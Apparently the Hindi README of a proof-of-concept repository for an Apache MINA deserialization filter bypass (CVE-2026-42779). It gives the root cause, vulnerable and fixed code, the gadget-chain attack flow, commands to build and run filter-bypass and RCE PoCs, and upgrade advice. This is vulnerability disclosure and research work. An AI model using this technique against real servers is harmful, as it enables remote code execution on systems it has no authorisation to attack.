
प्रूफ-ऑफ-कॉन्सेप्ट जो Apache MINA में डिसीरियलाइज़ेशन फ़िल्टर बायपास को प्रदर्शित करता है, जिससे रिमोट कोड एक्ज़ीक्यूशन होता है, साथ ही विस्तृत रूट कॉज़ विश्लेषण, एक्सप्लॉइट PoCs, और उपचार मार्गदर्शन शामिल है।
CVSS 3.1: 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
रिपोर्टर: वेंकटरामन कुमार, Securin
एडवाइज़री: Apache मेलिंग लिस्ट
Apache MINA संस्करण 2.1.0 से 2.1.11 और 2.2.0 से 2.2.6 में AbstractIoBuffer.resolveClass() में डिसीरियलाइज़ेशन फ़िल्टर बायपास मौजूद है। acceptMatchers अनुमति-सूची — जो यह प्रतिबंधित करने के लिए है कि कौन सी Java क्लासेज़ डिसीरियलाइज़ की जा सकती हैं — पूरी तरह से छोड़ दी जाती है जब ObjectStreamClass.forClass() null लौटाता है।
ObjectSerializationCodecFactory का उपयोग करने वाले MINA एंडपॉइंट तक नेटवर्क पहुंच रखने वाला हमलावर एक प्रोटोकॉल पेलोड तैयार कर सकता है जो क्लास फ़िल्टर को बायपास करता है, जिससे मानक Java डिसीरियलाइज़ेशन गैजेट चेन (जैसे, Commons Collections) के माध्यम से संभव हो जाता है।
यह CVE-2026-41635 का अधूरा फिक्स है। मूल पैच 2.0.x ब्रांच पर लागू किया गया था, लेकिन मर्ज की निगरानी के कारण इसे 2.1.x या 2.2.x पर कभी बैकपोर्ट नहीं किया गया।
| ब्रांच | असुरक्षित | फिक्स्ड |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
यह कमज़ोरी AbstractIoBuffer.resolveClass() में है, जो Java ऑब्जेक्ट डिसीरियलाइज़ेशन के दौरान क्लास रिज़ॉल्यूशन को संभालता है।
MINA दो क्लास डिस्क्रिप्टर प्रकारों के साथ एक कस्टम सीरियलाइज़ेशन प्रोटोकॉल का उपयोग करता है:
कमज़ोर कोड में, acceptMatchers फ़िल्टर केवल टाइप-1 ब्रांच में जांचा जाता है (जब forClass() गैर-null लौटाता है)। टाइप-0 ब्रांच सीधे Class.forName() को कॉल करता है, जिससे फ़िल्टर पूरी तरह से बायपास हो जाता है:
// AbstractIoBuffer.java — कमज़ोर (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BUG: कोई acceptMatchers जांच नहीं — फ़िल्टर पूरी तरह से बायपास
return Class.forName(name, false, classLoader);
} else {
// फ़िल्टर केवल यहाँ लागू होता है
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
2.2.7 में फिक्स फ़िल्टर जांच को ब्रांच से पहले स्थानांतरित करता है:
// AbstractIoBuffer.java — फिक्स्ड (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// फ़िल्टर पहले लागू होता है, forClass() परिणाम की परवाह किए बिना
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... सुरक्षित रिज़ॉल्यूशन आगे बढ़ता है
}
हमलावर असुरक्षित MINA सर्वर
| |
| 1. गैजेट चेन क्लासेज़ के लिए टाइप-0 |
| डिस्क्रिप्टर के साथ MINA पेलोड तैयार करें |
| |
| 2. ObjectSerializationCodecFactory का उपयोग करने वाले |
| एंडपॉइंट पर भेजें ------------------------>|
| |
| 3. readClassDescriptor() टाइप-0 पढ़ता है|
| → सुपर (std Java) को डेलीगेट करता है |
| |
| 4. resolveClass() forClass()==null देखता है
| → फ़िल्टर के बिना Class.forName() |
| |
| 5. गैजेट चेन पूरी तरह से डिसीरियलाइज़ होती है
| → readObject() चेन ट्रिगर करता है |
| → Runtime.exec() फायर होता है |
| |
| RCE प्राप्त हुआ |
IoBuffer.getObject() या ObjectSerializationCodecFactory का उपयोग करता हैaccept() कॉन्फ़िगर किया गया है (बिना फ़िल्टर वाले एप्लिकेशन पहले से ही CVE-2026-41635 के माध्यम से शोषण योग्य थे)हमलावर सीरियलाइज़्ड बाइट स्ट्रीम को नियंत्रित करता है। Serializable गैजेट चेन क्लासेज़ के लिए टाइप-1 के बजाय टाइप-0 क्लास डिस्क्रिप्टर का उपयोग करके, डिसीरियलाइज़ेशन ग्राफ़ में हर क्लास acceptMatchers फ़िल्टर को बायपास करती है, चाहे एप्लिकेशन की अनुमति-सूची कॉन्फ़िगरेशन कुछ भी हो।
तीन PoCs बढ़ते प्रभाव का प्रदर्शन करते हैं:
| PoC | यह क्या साबित करता है |
|---|---|
FilterBypassPoC.java | प्रिमिटिव्स, गैर-Serializable क्लासेज़, ऐरे के लिए फ़िल्टर बायपास |
CraftedBypassPoC.java | हमलावर-निर्मित टाइप-0 पेलोड किसी भी Serializable क्लास के लिए फ़िल्टर बायपास करते हैं |
RcePoC.java | फ़िल्टर बायपास के माध्यम से CC6 गैजेट चेन के ज़रिए पूर्ण RCE |
स्वीकृति सूची में नहीं होने वाली क्लासेज़ बिना किसी प्रतिबंध के डिसीरियलाइज़ होती हैं:

हमलावर केवल-String स्वीकृति सूची से आगे किसी भी क्लास को लोड करने के लिए टाइप-0 डिस्क्रिप्टर के साथ MINA प्रोटोकॉल पेलोड तैयार करता है:

CC6-वेरिएंट गैजेट चेन (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) फ़िल्टर बायपास के माध्यम से कमांड एक्ज़ीक्यूशन प्राप्त करती है:

समान परीक्षण फिक्स्ड संस्करण पर अवरुद्ध होते हैं:

गैजेट चेन फ़िल्टर द्वारा अस्वीकार कर दी जाती है:

परीक्षण का सबसे तेज़ तरीका — JDK या Maven की आवश्यकता नहीं:
# इस रेपो को क्लोन करें
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# सभी PoCs बनाएं और चलाएं
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# व्यक्तिगत PoCs चलाएं
docker run --rm cve-2026-42779 bypass # केवल फ़िल्टर बायपास
docker run --rm cve-2026-42779 crafted # निर्मित पेलोड बायपास
docker run --rm cve-2026-42779 rce # पूर्ण RCE
# अन्वेषण के लिए शेल में प्रवेश करें
docker run --rm -it cve-2026-42779 shell
इमेज में असुरक्षित MINA 2.2.6 JAR, Commons Collections 3.2.2, और सभी तीन पूर्व-संकलित PoCs शामिल हैं। सब कुछ कंटेनर के अंदर स्व-निहित रूप से चलता है।
यदि आप स्रोत से निर्माण करना पसंद करते हैं:
# असुरक्षित संस्करण को क्लोन और बिल्ड करें
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# commons-collections डाउनलोड करें (RCE PoC के लिए)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# PoCs संकलित करें
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# फ़िल्टर बायपास PoC चलाएं
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# निर्मित पेलोड PoC चलाएं
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# पूर्ण RCE PoC चलाएं
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
या शामिल Makefile का उपयोग करें:
make run-all # सभी तीन PoCs बनाएं और चलाएं
make run-rce # केवल RCE PoC
आवश्यकताएँ: JDK 11+ और Maven (स्रोत बिल्ड के लिए) या Docker (कंटेनर के लिए)
Apache MINA 2.1.12 या 2.2.7 में अपग्रेड करें।
यदि अपग्रेड तुरंत संभव नहीं है:
IoBuffer.getObject() या ObjectSerializationCodecFactory का उपयोग न करें| तिथि | घटना |
|---|---|
| 2026-05-01 | Apache MINA PMC द्वारा एडवाइज़री प्रकाशित |
| 2026-05-01 | फिक्स्ड संस्करण 2.1.12 और 2.2.7 जारी |
| 2026-05-02 | यह PoC विकसित और परीक्षण किया गया |
यह प्रूफ़ ऑफ़ कॉन्सेप्ट केवल रक्षात्मक सुरक्षा अनुसंधान, शिक्षा, और अधिकृत पेनेट्रेशन टेस्टिंग के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें और केवल उन्हीं सिस्टमों के विरुद्ध जिन्हें आपके पास परीक्षण करने की अनुमति है।